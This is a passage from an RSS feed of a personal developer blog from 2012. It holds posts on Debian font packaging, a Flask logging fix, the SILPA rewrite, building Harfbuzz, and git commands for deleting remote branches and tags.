what I learnt in Perl. Code may not be very elegant but it works :-).&lt;/p&gt;

&lt;p&gt;And after hacking one full day in Perl now I'm not feeling very much interested to go back and
hack on my own Python based dictionary bot :-). But I will anyway.&lt;/p&gt;

&lt;h4&gt;Misc&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;fonts-kalapi has been uploaded to &lt;em&gt;unstable&lt;/em&gt; by Kartik finally :-). Only sad part is he couldn't
use the home grown dh-make-font for this purpose.&lt;/li&gt;
&lt;li&gt;Finally Kartik is here in Bangalore and I'm just waiting when I can meet him.&lt;/li&gt;
&lt;li&gt;I ordered a RaspberryPi once it comes some hacking will be done on boxer again :-)&lt;/li&gt;
&lt;li&gt;Watched couple of &lt;em&gt;Star Wars&lt;/em&gt; movie :-) (Still have 4 left)&lt;/li&gt;
&lt;li&gt;Expendables 2 movie is in watch list after this post.&lt;/li&gt;
&lt;/ul&gt;


&lt;p&gt;So that's it folks. Quite longish post hope you are not bored reading it :-). Well time for movie
C'ya all with next weeks log.&lt;/p&gt;
</description>
<pubDate>Sat, 13 Oct 2012 09:48:48 -0700</pubDate>
<link>http://copyninja.info/2012/10/weekly_log_-_20121013.html</link>
<guid isPermaLink="true">http://copyninja.info/2012/10/weekly_log_-_20121013.html</guid>
</item>



<item>
<title>Weekly Log - 01102012</title>
<description>&lt;p&gt;Well this weeks log comes bit late as my week got extended till today ;-).
I had working day at office on Saturday and Sunday due to 2nd Quarter end
and instead today is declared as compensatory holiday and tomorrow any how
is &lt;a href=&quot;https://en.wikipedia.org/wiki/Gandhi_Jayanti&quot;&gt;Gandhi Jayanti&lt;/a&gt;. So here
it goes.&lt;/p&gt;

&lt;h2&gt;Debian Related&lt;/h2&gt;

&lt;p&gt;Most of my work this week was done for Debian-IN team&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Integrated the KGB bot for Debian-IN team repository. Thanks to &lt;em&gt;gregoa&lt;/em&gt;
&lt;em&gt;Tincho&lt;/em&gt; and &lt;em&gt;dam&lt;/em&gt; for extending helping hand in getting it configured&lt;/li&gt;
&lt;li&gt;Updated the &lt;em&gt;setup-repository&lt;/em&gt; to install a proper post-receive hook when
creating new repositories.&lt;/li&gt;
&lt;li&gt;Copied the &lt;em&gt;set-git-hook&lt;/em&gt; from pkg-ruby-extras team and modified it slightly
to install post-receive hook for KGB integration for already existing repository.
With this script I fixed few of the packages to use KGB which I own. Waiting
for Kartik to fix remaining repositories as he is the &lt;em&gt;DD&lt;/em&gt; for our team :-)&lt;/li&gt;
&lt;li&gt;Configured my personal instance of KGB which now stands in Debian-IN's channel
(#debian-in). But bot is named RAW (Research and Analysis Wing) equivalaent
of KGB and CIA in India :-P&lt;/li&gt;
&lt;/ul&gt;


&lt;p&gt;Well most of this weeks work involved KGB ;-)&lt;/p&gt;

&lt;h2&gt;Personal Works&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Attended the PyconIndia-2012 on Saturday, Got a NFC card :-) which I can't
use as my phone is not NFC capable. Only handful of talks were nice rest were
all newbie like talk which even lacked proper presentation skills hence didn't
attend on second day. Looks like quality of conference in India is decreasing.&lt;/li&gt;
&lt;li&gt;Finally completed answering all questions on &lt;em&gt;Philosophy and Procedures - 1&lt;/em&gt; part
of NM process :-). Phew it took me more time than I expected. Waiting for my AM's
comment. Hopefully I will get next bunch of questions soon :-)&lt;/li&gt;
&lt;/ul&gt;


&lt;h2&gt;Misc&lt;/h2&gt;

&lt;p&gt;Played &lt;em&gt;Cricket&lt;/em&gt; after very long time (Guess after 10 long years). Well it was not
official match or anything it was just another &lt;em&gt;Gully Cricket&lt;/em&gt;. After the match it
came to mind that I need regular physical workout :-P.&lt;/p&gt;

&lt;p&gt;Well that's it Cya till next week :-)&lt;/p&gt;
</description>
<pubDate>Mon, 01 Oct 2012 09:15:02 -0700</pubDate>
<link>http://copyninja.info/2012/10/weekly_log_-_01102012.html</link>
<guid isPermaLink="true">http://copyninja.info/2012/10/weekly_log_-_01102012.html</guid>
</item>



<item>
<title>Weekly Log - 22092012</title>
<description>&lt;p&gt;After thinking a while I thought I should record my weekly FLOSS work and
I'm starting by this week. This week I'm on vacation and in home town so
I could give bit more time for my FLOSS activity. So here it goes this weeks
work&lt;/p&gt;

&lt;h2&gt;Bug Squashing&lt;/h2&gt;

&lt;br/&gt;


&lt;ul&gt;
&lt;li&gt;Fixed a RC bug filed on Debian-IN team &lt;strike&gt;&lt;a href=&quot;http://bugs.debian.org/687176&quot;&gt;687176&lt;/a&gt;&lt;/strike&gt;
thanks to the timely patch from Kartik&lt;/li&gt;&lt;/li&gt;
&lt;li&gt;Filed an &lt;em&gt;important&lt;/em&gt; bug on fonts-taml which was missing a dependency on fonts-samyak-taml and
fixed it myself :-) &lt;strike&gt;&lt;a href=&quot;http://bugs.debian.org/687806&quot;&gt;687806&lt;/a&gt;&lt;/strike&gt;&lt;/li&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;p&gt;Both these packages are uploaded to &lt;em&gt;unstable&lt;/em&gt; first RC bug was related to Debian Installer hence was
unblocked before we could file unblock-request. Kartik filed an unblock-request and &lt;em&gt;adsb&lt;/em&gt; unblocked
it happily and both the packages landed in unstable.&lt;/p&gt;

&lt;h2&gt;New Packages&lt;/h2&gt;

&lt;br/&gt;


&lt;ul&gt;
&lt;li&gt;fonts-lohit-taml-classical is a new font for Tamil community developed by Lohit projects I don't
know much about font itself but I cleared a wnpp bug with this package &lt;strike&gt;&lt;a href=&quot;http://bugs.debian.org/681655&quot;&gt;681655&lt;/a&gt;&lt;/strike&gt;&lt;/li&gt;
&lt;li&gt;fonts-teluguvijayam is new package containing 3 Telugu fonts which is released by Department of
Information and Technology Andhra Pradesh. This package is pending upload and will clear wnpp
bug &lt;a href=&quot;http://bugs.debian.org/669238&quot;&gt;669238&lt;/a&gt; and is a pending upload.&lt;/li&gt;
&lt;li&gt;I finally cleared all review comments by jwilk on surf package and now 0.5 version of surf is in
experimental.&lt;/li&gt;
&lt;/ul&gt;


&lt;p&gt;Both these packages will be backported once Wheezy freezes. One pending wnpp is left on Debian-IN
which I've left for Kartik to finish ;-).&lt;/p&gt;

&lt;h2&gt;Font Package Helper&lt;/h2&gt;

&lt;p&gt;I bumped version on &lt;em&gt;dh-make-font&lt;/em&gt;[1] to 0.3 now it accepts upstream URL with -u, --upstream switch
this will be placed in Homepage: field of control file and in Source: field of copyright file. Probably
I need to think of introducing xz compression to original source tarball where upstream is not
giving any tarball and probably rewrite it using Perl so it can get included dh-make package. Already
a bug filed to get it included in dh-make package &lt;a href=&quot;http://bugs.debian.org/658154&quot;&gt;658154&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;[1] http://anonscm.debian.org/gitweb/?p=debian-in/dh-make-font.git;a=summary&lt;/p&gt;

&lt;h2&gt;Misc and Learnings&lt;/h2&gt;

&lt;br/&gt;


&lt;ul&gt;
&lt;li&gt;Helped Jonas to fix a minor issue in boxer. I still have to figure out one issue on boxer and
add ramfs support to boxer. If you see boxer commit log you can find a few &lt;em&gt;Thanks to Vasudev Kamath&lt;/em&gt;
but I still didn't commit anything directly which is now in my TODO :-)&lt;/li&gt;
&lt;li&gt;Started learning Perl from &lt;em&gt;Moder Perl&lt;/em&gt; &lt;a href=&quot;http://www.onyxneon.com/books/modern_perl/index.html&quot;&gt;book&lt;/a&gt; thanks
to Jaldhar for pointing this book for me.&lt;/li&gt;
&lt;/ul&gt;


&lt;p&gt;Well that is it for this week. Hopefully I will have new stuffs to put up here for the next week, till then Cya.&lt;/p&gt;
</description>
<pubDate>Sat, 22 Sep 2012 09:57:31 -0700</pubDate>
<link>http://copyninja.info/2012/09/weekly_log_-_22092012.html</link>
<guid isPermaLink="true">http://copyninja.info/2012/09/weekly_log_-_22092012.html</guid>
</item>



<item>
<title>Logging issue with Flask</title>
<description>&lt;p&gt;While enabling logging for release of rewritten version of SILPA described in my
&lt;a href=&quot;http://copyninja.info/2012/08/rewriting_silpa_with_flask_microframework.html&quot;&gt;previous post&lt;/a&gt;
I faced a weird problem. I enabled Logging as described in the Flask documentation but SILPA
won't log anything to the log even though log file is created in whatever location I gave while
configuring the logging.&lt;/p&gt;

&lt;p&gt;Flask documentation suggests following way to use logging&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;python&quot;&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;logging&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;logging.handlers&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;RequiredHandler&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;file_handler&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;RequiredHandler&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;...&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;file_handler&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;setLevel&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;logging&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;WARNING&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;app&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;logger&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;addHandler&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;file_handler&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;After banging my head for some time  I again wanted to look at Python's logging &lt;a href=&quot;http://docs.python.org/howto/logging.html#logging-advanced-tutorial&quot;&gt;tutorials&lt;/a&gt;
see if I'm doing something wrong and I found this example&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;python&quot;&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;logging&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# create logger&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;logger&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;logging&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;getLogger&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#39;simple_example&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;logger&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;setLevel&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;logging&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;DEBUG&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# create console handler and set level to debug&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;ch&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;logging&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;StreamHandler&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;ch&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;setLevel&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;logging&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;DEBUG&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# create formatter&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;formatter&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;logging&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Formatter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;%(asctime)s&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; - &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;%(name)s&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; - &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;%(levelname)s&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; - &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;%(message)s&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# add formatter to ch&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;ch&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;setFormatter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;formatter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# add ch to logger&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;logger&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;addHandler&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# &amp;#39;application&amp;#39; code&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;logger&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;debug&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#39;debug message&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;logger&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;info&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#39;info message&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;logger&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;warn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#39;warn message&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;logger&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#39;error message&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;logger&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;critical&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#39;critical message&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;So there it is I need to set the logging level even on logger to same level as what I set on my handler.
Now I didn't take time to read the documentation because I wanted to see if my findings really does the
trick so I modified function configuring logging to look something like below (I'm taking the example given
in Flask documentation itself real code can be seen in&lt;a href=&quot;https://github.com/copyninja/Silpa-Flask&quot;&gt; SILPA code on Github&lt;/a&gt;)&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;python&quot;&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;logging&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;logging.handlers&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;RequiredHandler&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;file_handler&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;RequiredHandler&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;...&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;file_handler&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;setLevel&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;logging&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;WARNING&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;app&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;logger&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;setLevel&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;logging&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;WARNING&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;app&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;logger&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;addHandler&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;file_handler&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;This actually did the trick and now Flask is happily logging whatever I give to &lt;em&gt;app.logger.levelname&lt;/em&gt; So I
don't know this was my stupidity or fault in Flask's documentation by forgetting to mention this crucial point.
But in the end all is well :-)&lt;/p&gt;

&lt;p&gt;Do comment your thoughts.&lt;/p&gt;
</description>
<pubDate>Mon, 06 Aug 2012 00:00:00 -0700</pubDate>
<link>http://copyninja.info/2012/08/logging_issue_with_flask.html</link>
<guid isPermaLink="true">http://copyninja.info/2012/08/logging_issue_with_flask.html</guid>
</item>



<item>
<title>Rewriting SILPA with Flask microframework</title>
<description>&lt;p&gt;As a introduction on what is SILPA you can read my &lt;a href=&quot;http://copyninja.info/2010/05/silpa-an-indian-language-processing-application.html&quot;&gt;previous post&lt;/a&gt;
This application was written by Santhosh &lt;strike&gt;about 6-7 years ago&lt;/strike&gt; in May &lt;strike&gt;2010&lt;/strike&gt; 2009 ( &lt;strike&gt; Correct me if I'm wrong Santhosh ;-)&lt;/strike&gt; Thanks to Santhosh for correcting me ) in Python without using any web framework.
He crafted whole system single handed and with very nice ideas. He wrote all the modules available in it for all possible Indian languages even
though he is native Malayalam speaker. I joined him 3 years back and I was providing some or other improvements and he ultimately made me
as the &lt;em&gt;Co-Developer&lt;/em&gt; of SILPA.&lt;/p&gt;

&lt;p&gt;Recently I came across the &lt;em&gt;Flask&lt;/em&gt; microframework and thought of rewriting SILPA to use Flask. You might ask me why Flask? So here are
my reasonings&lt;/p&gt;

&lt;pre&gt;
 1. Why reinvent Python webframework when we can use existing? Besides maintaining a not so well known framework code which is not written by you will be difficult    and time consuming.
 2. All Python modules are useful even outside SILPA project why make them dependent on SILPA code?
 3. Templating system used is very old and can't be ported to new Python version lets use something which is new and portable
 4. If new contributor wanted to add a module he need to understand SILPA framework to write and integrate it. This might be discouraging new
    contributions so lets use pure python module and make integration with SILPA straight forward.
 5. I was overwhelmed by Flask :P
&lt;/pre&gt;


&lt;p&gt;I had previously tried bottle microframework but for some reason I couldn't crack it so choosing of Flask is not because it was better among other available microframework or something like that. I choose it because I could easily understand it and it suited my needs better.&lt;/p&gt;

&lt;p&gt;So I proposed about this to Santhosh and he asked me for a POC code. I started working on &lt;em&gt;April 8 2012 and today by August 5&lt;/em&gt; I can say
I've first stable version of SILPA rewritten using Flask deployable over WSGI on Apache2. It can also be deployed on other servers supporting
WSGI interface.&lt;/p&gt;

&lt;p&gt;It took me quite a bit of time but to be frank in the middle I completely had stopped coding because of some other works. Here is the commit graph
and code frequency graphs from Github.&lt;/p&gt;

&lt;br/&gt;


&lt;p&gt;&lt;img class=&quot;post&quot; src='/images/commit-graph-silpa.png' align=&quot;center&quot; caption=&quot;Commit Graph&quot;/&gt;&lt;/p&gt;

&lt;br/&gt;


&lt;p&gt;&lt;img class=&quot;post&quot; src='images/code-frequency-silpa.png' align=&quot;center&quot; caption=&quot;Code Frequency&quot;/&gt;&lt;/p&gt;

&lt;h2&gt;Changes in New Version&lt;/h2&gt;

&lt;p&gt;Here is some major changes in current version.&lt;/p&gt;

&lt;pre&gt;
1. Newly developed framework provides plug and play features for new modules.
2. You need to install the modules which you want to run on it separately using PIP and only minimal code change is required. Only configuration and webbridge.py 
   will be changed. Ofcourse you need to add html file to *templates* folder.
3. This version uses decent routing logic from Flask for page serving.
4. It also provides JSONRPC interface which is compatible with previous version but only with method name changed.
5. This version separates out run time module loading and routing the request to modules.
6. Dynamic module loading now happens only at the beginning of application, so if I want to implement caching for particular services it will be straight forward
   now.
7. Routing requests to proper module is adapted from old version with few modifications
8. All previous pages are now converted to use *Jinja2* template system.
&lt;/pre&gt;


&lt;h2&gt;Things Remaining TODO&lt;/h2&gt;

&lt;p&gt;Below is some stuffs still pending before this version can completely replace &lt;a href=&quot;http://silpa.org.in&quot;&gt;http://silpa.org.in&lt;/a&gt;&lt;/p&gt;

&lt;pre&gt;
1. Separate all modules from original SILPA and get it uploaded to pypi
2. Provide RESTful interface
3. Provide proper LICENSE, AUTHORS file for all modules 
4. Prepare a Nice UI
5. Find a better name than *SILPA*
...
&lt;/pre&gt;


&lt;h2&gt;Update&lt;/h2&gt;

&lt;pre&gt;
Forgot to provide the github link and demo link for the new version of SILPA. Thanks to Aravinda for pointing
it out. Here it goes
Github: &lt;a href=&quot;http://github.com/copyninja/Silpa-Flask&quot;&gt;http://github.com/copyninja/Silpa-Flask&lt;/a&gt;
Demo: &lt;a href=&quot;http://flasksilpa-indic.rhcloud.com&quot;&gt;http://flasksilpa-indic.rhcloud.com&lt;/a&gt;
&lt;/pre&gt;

</description>
<pubDate>Sun, 05 Aug 2012 00:00:00 -0700</pubDate>
<link>http://copyninja.info/2012/08/rewriting_silpa_with_flask_microframework.html</link>
<guid isPermaLink="true">http://copyninja.info/2012/08/rewriting_silpa_with_flask_microframework.html</guid>
</item>



<item>
<title>Compiling Harfbuzz on Debian</title>
<description>&lt;p&gt;Harfbuzz (more correctly harfbuzz-ng) is a Text Layout/shaping engine. Mostly supporting rendering
of Text including complex scripts. A quote taken from Wikipedia which describes &lt;a href=&quot;https://en.wikipedia.org/wiki/HarfBuzz#HarfBuzz&quot;&gt;harfbuzz&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
HarfBuzz (in Persian: حرف‌باز) is a layout/shaping engine for OpenType fonts. Its purpose is to standardize text layout in FOSS; its code originally started as part of the FreeType project, was then developed separately in Qt and Pango, and finally merged back into a common repository. Both Qt and Pango currently use HarfBuzz; other standalone users include Firefox and Chromium, the open source project behind Google Chrome.
&lt;/blockquote&gt;


&lt;p&gt;Coming directly to the point. You can get Harfbuzz from its Git repository hosted on&lt;a href=&quot;http://cgit.freedesktop.org/harfbuzz&quot;&gt; Freedesktop&lt;/a&gt;.
It requires following library and binary compilation&lt;/p&gt;

&lt;pre&gt;
    1. ragel: Finite state machine code compiler
    2. libglib2.0-dev: Glib Development files
    3. libcairo2-dev : Cairo 2D graphics library development files
    4. libicu-dev: Development components for International components for Unicode
    5. libgraphite2-dev: Development files for libgraphite2
    6. libfreetype6-dev: Freetype 2 library development files
&lt;/pre&gt;


&lt;p&gt;Once you install all the above package. Follow following commands to build the harfbuzz.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;bash&quot;&gt;./autogen.sh
./configure --prefix&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;/usr
make
sudo make install
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;You can skip make install if you don't like it to be installed on system.I actually wanted to work on the Debian package
of Harfbuzz but since there is some one already working on &lt;a href=&quot;http://lists.alioth.debian.org/pipermail/pkg-fonts-devel/2012-July/010867.html&quot;&gt;it&lt;/a&gt;.
Probably I will wait till the guy completes package.&lt;/p&gt;

&lt;p&gt;I will write on testing the text rendering of your language using harfbuzz in my next post. Till then Cya.&lt;/p&gt;
</description>
<pubDate>Sun, 22 Jul 2012 00:00:00 -0700</pubDate>
<link>http://copyninja.info/2012/07/compiling_harfbuzz_on_debian.html</link>
<guid isPermaLink="true">http://copyninja.info/2012/07/compiling_harfbuzz_on_debian.html</guid>
</item>



<item>
<title>Note to Self: Deleting Remote Branches and Tags in Git</title>
<description>&lt;p&gt;Its been a while I'm using Git as a version control system for my various work whether
it is FOSS related or my professional work. Every time I stumble into a case where I
need to delete an accidentally pushed branch or tag on remote and every time I forget
how I did it last time. Today I did it again and I had to search it again to find a
method. So here it goes this is a note to myself so I won't forget it next time&lt;/p&gt;

&lt;p&gt;Deleting a remote branch&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;git push origin :branchname
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Deleting a remote tag&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;git push origin :refs/tags/tagname
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Where origin can be replaced by proper remote if you are using multiple remote for mirroring
purpose.&lt;/p&gt;

&lt;p&gt;If you want to delete locally use following code&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;git branch -d branchname
git tag -d tagname
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Note: To delete tag remotes you need to delete it locally first and then push it.&lt;/p&gt;

&lt;p&gt;That's it hope it helps others too :-)&lt;/p&gt;
</description>
<pubDate>Sun, 15 Jul 2012 00:00:00 -0700</pubDate>
<link>http://copyninja.info/2012/07/note_to_self%3A_deleting_remote_branches_and_tags_in_git.html</link>
<guid isPermaLink="true">http://copyninja.info/2012/07/note_to_self%3A_deleting_remote_branches_and_tags_in_git.html</guid>
</item>



<item>
<title>Update: Issue in Kannada Dictionary Bot</title>
<description>&lt;p&gt;Just a short update for those who are wondering what is Kannada Dictionary bot, it is
a small Jabber chat bot written in Python which pulls out meaning for given English or Kannada
word from &lt;a href=&quot;http://kn.wiktionary.org&quot;&gt;Kannada Wiktionary&lt;/a&gt;. More about the usage of this bot
can be found in my&lt;a href=&quot;http://copyninja.info/2010/11/a-jabber-dictionary-bot-for-kannada.html&quot;&gt; previous post&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Recently I've been getting many queries from users that they are not able to access the bot
from their GTalk account. &lt;em&gt;Of course no one contacted me directly&lt;/em&gt; they were pinging my friend
Omshivaprakash and in turn he was pinging and telling that some one contacted him and told bot
is not online. But I have monit service monitoring bot 24x7 additionally I could see it online
all the time, even when shiv is telling me its offline!.&lt;/p&gt;

&lt;p&gt;Finally figured out the reason when I went to &lt;a href=&quot;http://jabber.org&quot;&gt;Jabber&lt;/a&gt; So here is the &lt;a href=&quot;http://www.jabber.org/2012/02/google-talk-connectivity/&quot;&gt;reason&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
As you’ve probably noticed, the jabber.org service has been experiencing connectivity problems
